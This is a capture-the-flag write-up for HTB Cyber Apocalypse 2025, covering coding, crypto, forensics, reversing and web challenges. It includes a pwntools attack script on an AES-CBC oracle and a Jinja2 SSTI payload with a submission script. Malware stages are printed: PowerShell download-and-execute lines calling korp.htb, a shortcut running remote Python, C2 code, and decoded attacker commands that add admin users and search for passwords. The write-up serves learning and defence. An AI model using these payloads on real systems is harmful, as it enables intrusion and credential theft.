Coding
Summoners Incantation
It is a fairly simple task. The aim is to choose a number of tokens
with the maximum possible sum. The twist is that we cannot use a token next to one that we’ve already chosen.
To solve it, we can create a recursive search with the following constraints:
- if there are no tokens left, the max sum is
0
- if there’s one token left, the max sum is the value of that token
- otherwise, we can check the first two tokens to decide which one we should use
- we take the
1st
one and call the recursive function with the remaining ones (making sure to remove the2nd
token, since that’s the neighbor we cannot use) - repeat previous step with the
2nd
token; now we have to remove the1st
and3rd
tokens - choose the one that has the higher sum
- we take the
def find_max_energy(tokens):
if len(tokens) == 0:
return 0
elif len(tokens) == 1:
return tokens[0]
e1 = tokens[0] + find_max_energy(tokens[2:])
e2 = tokens[1] + find_max_energy(tokens[3:])
return max(e1, e2)
input_text = input()
tokens = [int(t) for t in input_text[1:-1].split(',')]
print(find_max_energy(tokens))
Dragon Fury
For this task, we get a 2d array
that contains possible “damage values” for rounds, and a target
we need to reach. Our aim is to select a single value for each round in a way that adds up to our target in the end.
We can once again use a recursive search to itarate over all possible combinations. For the first n-1
rounds, we can simply take all the possible values, and call our function with that round removed from the list of rounds. In the last round we have to check whether the possible values contain the remaining target. If it does, we have our solution, otherwise, we can backtrack to a previous state to try that.
def find_damages(damages, target):
if len(damages) == 0:
return []
elif len(damages) == 1:
if target in damages[0]:
return [target]
else:
return []
for i in range(len(damages[0])):
dmg = damages[0][i]
trial = find_damages(damages[1:], target - dmg)
if len(trial) == len(damages) - 1:
return [dmg] + trial
return []
input_text = input()
target = int(input())
damages = eval(input_text)
print(find_damages(damages, target))
Enchanted Cipher
This task is a weird version of rot13
. Here’s how it works:
- the input is split into 5-character-long groups
- a random shift amount (
1
-25
) is selected for each group - the characters in a given group are shifted by the selected amount
Knowing only this, it could be a challenge to decrypt the message, but we also get the random shifts
as our input. That knowledge makes this task trivial. All we have to do is iterate over the characters, deciding which group it belongs to, and shifting it back by the known amount.
def shift_back(ch, s):
n = ord(ch) - s
if n < ord('a'):
n += 26
return chr(n)
encrypted = input()
groups = int(input())
shifts = eval(input())
ctr = 0
decrypted = ''
for ch in encrypted:
if ord('a') <= ord(ch) <= ord('z'):
decrypted += shift_back(ch, shifts[ctr // 5])
ctr += 1
else:
decrypted += ch
print(decrypted)
Dragon Flight
For this task, we need to do 3 things:
- keep a list of wind effects for each path segment
- update the list when we get a command starting with
U
- print the maximum subarray for the given segments (command
Q
)
Since the inputs are really small, we can simply brute-force the max sum.
n, q = [int(x) for x in input().split(' ')]
wind = [int(x) for x in input().split(' ')]
for i in range(q):
inp = input()
o, p1, p2 = inp.split(' ')
p1 = int(p1)
p2 = int(p2)
if o == 'U':
wind[p1 - 1] = p2
elif o == 'Q':
m = wind[p1 - 1]
for j in range(p1 - 1, p2):
for k in range(j, p2):
if sum(wind[j:k+1]) > m:
m = sum(wind[j:k+1])
print(m)
ClockWork Guardian
Classic path-finding task. We need to get from the start position ((0,0)
) to the exit (marked with E
) while avoiding the sentinels (marked with 1
). We can simply implement Dijkstra’s Algorithm, to determine the distance of any point from the start. Once we have the distances, we just have to find the exit and print the value.
input_text = input()
def are_neighbors(u, v):
horizontal = (u[0] == v[0] - 1 or u[0] == v[0] + 1) and u[1] == v[1]
vertical = (u[1] == v[1] - 1 or u[1] == v[1] + 1) and u[0] == v[0]
return horizontal or vertical
def dijkstra(maze, start):
dist = {}
prev = {}
q = []
for y in range(len(maze)):
for x in range(len(maze[y])):
dist[(x, y)] = 10000
prev[(x, y)] = None
if maze[y][x] != 1:
q.append((x, y))
dist[start] = 0
while len(q) > 0:
u = q[0]
for v in q:
if dist[v] < dist[u]:
u = v
q.remove(u)
for v in q:
if not are_neighbors(u, v):
continue
alt = dist[u] + 1
if alt < dist[v]:
dist[v] = alt
prev[v] = u
return dist, prev
maze = eval(input_text)
dist, prev = dijkstra(maze, (0, 0))
for y in range(len(maze)):
for x in range(len(maze[0])):
if maze[y][x] == 'E':
print(dist[(x, y)])
break
Crypto
Hourcle
Since we get access to the source code of the encryption, we can check how the encryption is implemented.
def encrypt_creds(user):
padded = pad((user + password).encode(), 16)
IV = os.urandom(16)
cipher = AES.new(KEY, AES.MODE_CBC, iv=IV)
ciphertext = cipher.decrypt(padded)
return ciphertext
Looking at the encrypt_creds
function, we can see two issues:
- the unknown
password
is concatenated to the user-providedusername
- it uses the
decrypt
method instead ofencrypt
The consequences become obvious once we check the difference between decrypt
and encrypt
(CBC on Wikipedia): the last step of decryption is a xor
operation, and it uses the previous block as one of the operands. Since we can control (part of) the input, we can freely select this block by using a carefully crafted input.
To recover the password, we need to construct our username
in a way, that will result in a part of it being the same as the end, where the password is automatically appended.
Attack Explanation
Let’s see an example with a shorter password (4
characters) and block size (8
bytes): 00000000 0000000c 00000000 0000000p ppp_____
. This is the result of the following:
- the
1st
block is a known value (0s
in this case, but any value should do) - the
2nd
block also starts with known values, but the last character is something different (c
) - the
3rd
block is the same as the first one - the
4th
block begins the same way as our2nd
, but ends with the first character of thepassword
- the last block is the remainder of the password (+ some extra padding), but it’s not important for us
Keep in mind, that this is the final, complete, value that will be passed to cipher.decrypt
. The username
provided by us, actually ends with the last 0
(just before the first p
). So, what does this mean? Let’s see, what happens with each block:
1st
: decrypted withKEY
andxored
together with a randomIV
2nd-5th
: decrypted withKEY
andxored
together with the previous (plain-text) block
The key is the same for each block, and we made sure that blocks 1
& 3
are the same. This means, that the decrypted result for blocks 2
and 4
will be the same, if c
and p
is the same at the end. This means that we can iterate over each possible character (as a value of c
) to find the first character of the password. Once we have that, we can just remove a 0
from the 2nd
block, do the same with the 4th
block, and start cracking the 2nd
character of the password.
Implications of this Attack
This attack significantly decreases the search space. If we tried to crack the original password, we would’ve needed 62^20 = 7*10^35
tries. Since we’re now cracking each character one-by-one, the search space is reduced to 62*20 = 1240
, making it feasable.
Final Code
There’s one more thing we need to keep in mind for the actual task. In the example above, we had a password that was shorter than the block size, which is not the case for the actual task. Luckily, this is not that big of a change, we just need to expand our 2nd
& 4th
blocks to be longer than the password itself (so, in the actual task, the 2nd
is shifted to be the 3rd
one, and an extra padding block is added before it; the same thing should happen with the 4th
block).
#!/usr/bin/env python3
from pwn import *
PWD_LENGTH = 20
def send_value(conn, type, value):
for i in range(11): # skip the menu
conn.recvline().decode('utf-8').strip()
conn.send(f"{type}\n".encode()) # send menu selection
conn.recvline()
conn.send(f"{value}\n".encode()) # send value
l = conn.recvline().decode('utf-8').strip() # receive response
return l.split()[-1]
def recover_password(conn):
recovered = ""
while len(recovered) < PWD_LENGTH:
for c in string.ascii_letters + string.digits:
username = '0' * 16 # known cipher block
username += '0' * (32 - len(recovered) - 1) + recovered + c # 0-padding + recovered password + searched char (2 blocks)
username += '0' * 16 # same as first block
username += '0' * (32 - len(recovered) - 1) # same beginning as block 2-3, password will be appended, adding the first `n` chars to the block end
enc = send_value(conn, 1, username)
if enc[32:96] == enc[128:192]:
print(f"{len(recovered) + 1}/{PWD_LENGTH}: {c}")
recovered += c
break
return recovered
conn = remote('83.136.254.234', 56453)
password = recover_password(conn)
print(f"Recovered password: {password}")
print(send_value(conn, 2, password))
Forensics
Thorin’s Amulet
Stage 1
At the beginning of this task, we are presented with a PowerShell
script.
function qt4PO {
if ($env:COMPUTERNAME -ne "WORKSTATION-DM-0043") {
exit
}
powershell.exe -NoProfile -NonInteractive -EncodedCommand "SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8va29ycC5odGIvdXBkYXRlIik="
}
qt4PO
The script defines a method and calls it. The method itself spawns a new powershell.exe
process to execute an encrypted command. The used encryption is only Base64
, so we can easily decrypt it to get the following code:
IEX (New-Object Net.WebClient).DownloadString("http://korp.htb/update")
This command downloads some code from http://korp.htb/update
, and executes it, using IEX
Stage 2
If we visit the URL
above, we will find the following script:
function aqFVaq {
Invoke-WebRequest -Uri "http://korp.htb/a541a" -Headers @{"X-ST4G3R-KEY"="5337d322906ff18afedc1edc191d325d"} -Method GET -OutFile a541a.ps1
powershell.exe -exec Bypass -File "a541a.ps1"
}
aqFVaq
Once again, it downloads a .ps1
file and executes it. This time we need to make sure to include the header to get the correct script.
Stage 3
The last script is completely harmless, we can simply run it to get the flag.
$a35 = "4854427b37683052314e5f4834355f346c573459355f3833336e5f344e5f39723334375f314e56336e3730727d"
($a35-split"(..)"|?{$_}|%{[char][convert]::ToInt16($_,16)}) -join ""
A New Hire
Stage 1
At the beginning, we get access to a .eml
(Electronic Mail
) file. It contains a link to a “resume”. Opening the link redirects us to a new page, where we can download a file called Resume.pdf .lnk
.
Stage 2
If we check the content of this shortcut file
, we will see, that it’s starting PowerShell
with a Base64
encrypted command. Once we decrypt it, we get the following:
[System.Diagnostics.Process]::Start('msedge', 'http://storage.microsoftcloudservices.com:37974/3fe1690d955e8fd2a0b282501570e1f4/resumesS/resume_official.pdf');\\storage.microsoftcloudservices.com@37974\3fe1690d955e8fd2a0b282501570e1f4\python312\python.exe \\storage.microsoftcloudservices.com@37974\3fe1690d955e8fd2a0b282501570e1f4\configs\client.py
This command does 2 things:
- opens
resume_official.pdf
in Microsoft Edge; not important for use right now - runs a remote
python
script calledclient.py
Stage 3
client.py
contains an encrypted payload and an encryption key. Since the key is only encrypted with Base64
, we can decrypt it, and we will be presented with the flag.
Silent Trap
For this task, we get access to a capture file, that we need to analyse to answer multiple questions.
Flag 1
We need to figure out the subject of the first email the victim opened. We can do it by following these steps:
- open the capture file in
wireshark
- filter for
HTTP
communicaiton - find the first packet that looks like an mailbox, and has the
_get
action Right Click
->Follow
->TCP Stream
Once done with the above steps, we will see the source code of the rendered HTML
page. All we need now is finding the subject and submitting it as the flag.
Flag 2
For the second flag, we need to figure out the date the malicious email was sent. While looking at the packets, we can find, that the victim has downloaded a zip file. We can assume that it contained the malware, so we need to look for an email that contains a .zip
attachment. Once we have it, we can repeat the steps from Flag 1
to get the whole HTML
page, and get the date.
<div class="header-summary">
<span>From <span class="adr">
<a href="mailto:proplayer@email.com" class="rcmContactAddress" onclick="return rcmail.command('compose','proplayer@email.com',this)" title="proplayer@email.com">proplayer@email.com</a>
<a href="#add" title="Add to address book" class="rcmaddcontact" onclick="return rcmail.command('add-contact','proplayer@email.com',this)"></a>
</span> on <span class="text-nowrap">2025-02-24 15:46</span>
</span>
</div>
Flag 3
Next, we need to figure out the MD5
hash of the malware file.
We can start by donwloading the .zip
file ourselves. We can use Wireshark's
export functionality (File
-> Export Objects
-> HTTP
). Once we have the file, we need to extract it, but that requires a password. We can check the HTML
page from the previous flag to get it.
┌──(.venv)─(pshegger㉿suki)-[~/…/ctf/2025/CyberApocalypse/silent_trap]
└─$ 7z x Eldoria_Balance_Issue_Report.zip
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=C.UTF-8 Threads:8 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 7898 bytes (8 KiB)
Extracting archive: Eldoria_Balance_Issue_Report.zip
--
Path = Eldoria_Balance_Issue_Report.zip
Type = zip
Physical Size = 7898
Enter password (will not be echoed):
Everything is Ok
Size: 18944
Compressed: 7898
┌──(.venv)─(pshegger㉿suki)-[~/…/ctf/2025/CyberApocalypse/silent_trap]
└─$ md5sum Eldoria_Balance_Issue_Report.pdf.exe
c0b37994963cc0aadd6e78a256c51547 Eldoria_Balance_Issue_Report.pdf.exe
Flag 4
The next task is finding the credentials the malware uses for authentication to an IMAP
server.
If we inspect the binary, we can find, that it’s a .NET
executable, so we can use a decompiler to see the source code. There are multiple options for that, for example: AvaloniaILSpy. Once the program is decompiled, we can quickly find a variable named creds
, that contains the credentials.
static Program()
{
string[] obj = new string[5]
{
Environment.MachineName,
"_",
Environment.UserName,
"_",
null
};
int num = 4;
obj[num] = Environment.OSVersion?.ToString();
comp_id = Base64Encode(string.Concat(obj));
creds = "proplayer@email.com:completed:mail.korptech.net:0000000000000000000000000000000000000000000000000000000";
r_creds = "proplayer1@email.com:completed:mail.korptech.net:000000000000000000000000000000000000000000000000000000000";
ssl = null;
tcp = null;
}
If we look further, we can also find a call to the Login
method, that shows us how to parse this variable.
Login(creds.Split(new char[1] { ':' })[0], creds.Split(new char[1] { ':' })[1]);
Flag 5
The next flag is the name of a scheduled task. To find it we need to dig deepet into the source code.
Starting from the Main
method, we can find, that a function called readFile
is called periodically, and the returned value is then executed as a system command. This means that this is how the malware receives commands from the C2 server
.
private static string[] readFile()
{
connect(creds.Split(new char[1] { ':' })[2], 143);
Login(creds.Split(new char[1] { ':' })[0], creds.Split(new char[1] { ':' })[1]);
try
{
selectFolder("Drafts");
}
catch
{
selectFolder("INBOX.Drafts");
}
string[] array = searchMessages(comp_id);
if (array.Length == 0)
{
return new string[0];
}
string message_number = array[^1];
string text = "";
for (int i = 0; i < array.Length; i++)
{
byte[] bytes = xor(Convert.FromBase64String(getMessage(message_number)));
text = Encoding.UTF8.GetString(bytes);
}
string[] array2 = new string[0];
string[] array3 = text.Split(new char[1] { '\n' });
foreach (string text2 in array3)
{
if (!text2.Contains(" OK") && text2.Length > 1)
{
Array.Resize(ref array2, array2.Length + 1);
array2[^1] = text2.Trim(new char[1] { '\r' }).Trim(new char[1] { ')' });
}
}
return array2;
}
The code above does the following:
- search for specific messages in the
Drafts
folder - downoad the message body
- decode it with a custom
xor
method and convert it toUTF-8
To get the received commands, we need to go back to Wireshark
. We can start by filtering for communications that happened over port 143
(tcp.port == 143
). Once we found a message that looks like one of the command, we can figure out a stricter filter to only see those messages (tcp.port == 143 and _ws.col.protocol == "IMAP/IMF"
). Once we have all the commands, we still need to decode them. Looking at the xor
implementation in the decompiled malware, we can find both the used method and key.
#!/usr/bin/env python
import base64
pwd = [168, 115, ..., 58, 159]
def decrypt(data):
data = base64.standard_b64decode(data)
array = [pwd[i % len(pwd)] for i in range(256)]
array2 = list(range(256))
array3 = bytearray(len(data))
num = 0
for i in range(256):
num = (num + array2[i] + array[i]) % 256
array2[i], array2[num] = array2[num], array2[i]
num3 = num = 0
for i in range(len(data)):
num3 = (num3 + 1) % 256
num = (num + array2[num3]) % 256
array2[num3], array2[num] = array2[num], array2[num3]
num4 = array2[(array2[num3] + array2[num]) % 256]
array3[i] = data[i] ^ num4
return bytes(array3).decode('utf-8')
commands = [
'bmmDXtPNDyr4vZ8E',
'bWCfVNLNXHGo4IA=',
# ...SNIP...
'dG6eWp7nFVnqrpUZKmmZDQnlW57poAgaNcqAyaTqgA==',
]
for cmd in commands:
print(decrypt(cmd))
When we run this script, we will get the following output:
┌──(.venv)─(pshegger㉿suki)-[~/…/ctf/2025/CyberApocalypse/silent_trap]
└─$ python decrypt_commands.py
whoami /priv
tasklist /v
wmic qfe get Caption,Description,HotFixID,InstalledOn
schtasks /create /tn Synchronization /tr "powershell.exe -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri https://www.mediafire.com/view/wlq9mlfrl0nlcuk/rakalam.exe/file -OutFile C:\Temp\rakalam.exe" /sc minute /mo 1 /ru SYSTEM
net user devsupport1 P@ssw0rd /add
net localgroup Administrators devsupport1 /add
net localgroup Administrators devsupport1 /add
reg query HKLM /f "password" /t REG_SZ /s
dir C:\ /s /b | findstr "password"
dir C:\ /s /b | findstr "password"
more "C:\Users\dev-support\AppData\Local\BraveSoftware\Brave-Browser\User Data\ZxcvbnData\3\passwords.txt"
Flag 6
Our last task is to figure out what was the API
key, that was extracted by the attacker. To find it, we need to go back to the malware first, and figure out how it’s sending the output back to the C2 server
. We will find a method called create
, that receives the encrypted output as parameter.
private static void create(string text)
{
text = "From: " + Environment.UserName + "\r\nSubject: " + DateTime.UtcNow.ToString() + "_report_" + comp_id + "\r\n\r\n" + text;
int length = text.Length;
byte[] bytes = Encoding.ASCII.GetBytes("$ APPEND Inbox {" + length + "}\r\n" + text + "\r\n");
Task.Factory.FromAsync(ssl.BeginWrite, ssl.EndWrite, bytes, 0, bytes.Length, ssl);
}
Looking at the code, we can see that text
becomes the body of a new message, that is then added to Inbox
. We can use the APPEND
command to filter the packets in Wireshark
(_ws.col.info contains "Request: $ APPEND Inbox"
). The last packet is the one we’re looking for. We can use the script from the previous flag to decrypt the body and get the following output:
Microsoft Windows [Version 10.0.19045.5487]
(c) Microsoft Corporation. All rights reserved.
C:\Users\dev-support\Desktop>more C:\backups\credentials.txt
[Database Server]
host=db.internal.korptech.net
username=dbadmin
password=rY?ZY_65P4V0
[Game API]
host=api.korptech.net
api_key=sk-3498fwe09r8fw3f98fw9832fw
[SSH Access]
host=dev-build.korptech.net
username=devops
password=BuildServer@92|7Gy1lz'Xb
port=2022
C:\Users\dev-support\Desktop>
Reversing
SealedRune
As a first step, we need to open the binary in a reverse engineering tool, such as Ghidra. If we go through the defined methods, we will find once called decode_flag
. It is a fairly simple method, doing the following steps:
- loads the flag from program data
- calls a method called
base64_decode
on it - calls a method called
reverse_str
on the result ofstep 2
Since the flag is loaded from the program data, we can use Ghidra's
string search functionality to find it. Once we have it, we can easily decode it:
$ echo 'LmB9ZDNsNDN2M3JfYzFnNG1fM251cntCVEhgIHNpIGxsZXBzIHRlcmNlcyBlaFQ=' | base64 -d | python -c "print(input()[::-1])"
The secret spell is `HTB{run3_m4g1c_r3v34l3d}`.
EncryptedScroll
Once again, we start by opening the binary in Ghidra
, and looking for a suspicious method. This time, we will find decrypt_message
:
int local_3c;
undefined8 local_38;
undefined4 local_30;
undefined4 uStack_2c;
undefined4 uStack_28;
undefined8 local_24;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_38 = 0x716e32747c435549;
local_30 = 0x6760346d;
uStack_2c = 0x6068356d;
uStack_28 = 0x75327335;
local_24 = 0x7e643275346e69;
for (i = 0; *(char *)((long)&local_38 + (long)i) != '\0'; i = i + 1) {
*(char *)((long)&local_38 + (long)i) = *(char *)((long)&local_38 + (long)i) + -1;
}
iVar1 = strcmp(param_1,(char *)&local_38);
if (iVar1 == 0) {
puts("The Dragon\'s Heart is hidden beneath the Eternal Flame in Eldoria.");
}
In order to get back the flag, we need to first understand what’s happening here. The most important part is the *(char *)((long)&local_38 + (long)i)
pointer magic. Let’s look at it step-by-step:
(long)&local_38
: get the memory address oflocal_38
and convert it tolong
+ (long)i
: converti
tolong
and add it to the previous memory address*(char *)
: convert the value at the calculated addres tochar
This is basically the same as local_38[i]
, with one difference. Since this is a C
string, it should be null
terminated, but it’s not. This means, that once we reach the end of local_38
, our loop will continue with the next memory address on the stack, and will do it as long as, it’s not a null
byte. Luckily, we also know the next values on the stack (locacal_30
, uStack_2c
, uStack_28
, local_24
, local_10
). Since we know all the required values, we can write a script to get the flag (don’t forget the + -1
part in the original program).
>> stack = ['716e32747c435549', '6760346d', '6068356d', '75327335', '7e643275346e69']
>>> ''.join(''.join(chr(b-1) for b in bytes.fromhex(s))[::-1] for s in stack)
'HTB{s1mpl3_fl4g_4r1thm3t1c}'
Web
Trial by Fire
We get the source code for a web application written in Python
, using Flask
as Jinja2
templating. If we go through the source code, we can find that the /battle-report
endpoint is using render_template_string
, which is known to be vulnerable to Server-Side Template Injection
(SSTI
). Since the received data is not sanitized, we can simply write our payload to get the content of the flag.
{{ request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read() }}
We can also write a script to post our data directly to the vulnerable page (or even expand it for a semi-interactive shell):
#!/usr/bin/env python3
import requests
URL = "http://83.136.250.155:54814"
PAYLOAD = "{{ request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read() }}"
def submit_battle_report():
data = {
"damage_dealt": PAYLOAD,
"damage_taken": 100,
"spells_cast": 0,
"turns_survived": 3,
"outcome": "defeat",
"battle_duration": 20.714
}
headers = { "Content-Type": "application/x-www-form-urlencoded" }
return requests.post(f"{URL}/battle-report", data=data, headers=headers)
def extract_result(html):
for l in html.split('\n'):
if "Damage Dealt:" in l:
return l.strip()[54:-11]
print(extract_result(submit_battle_report().text))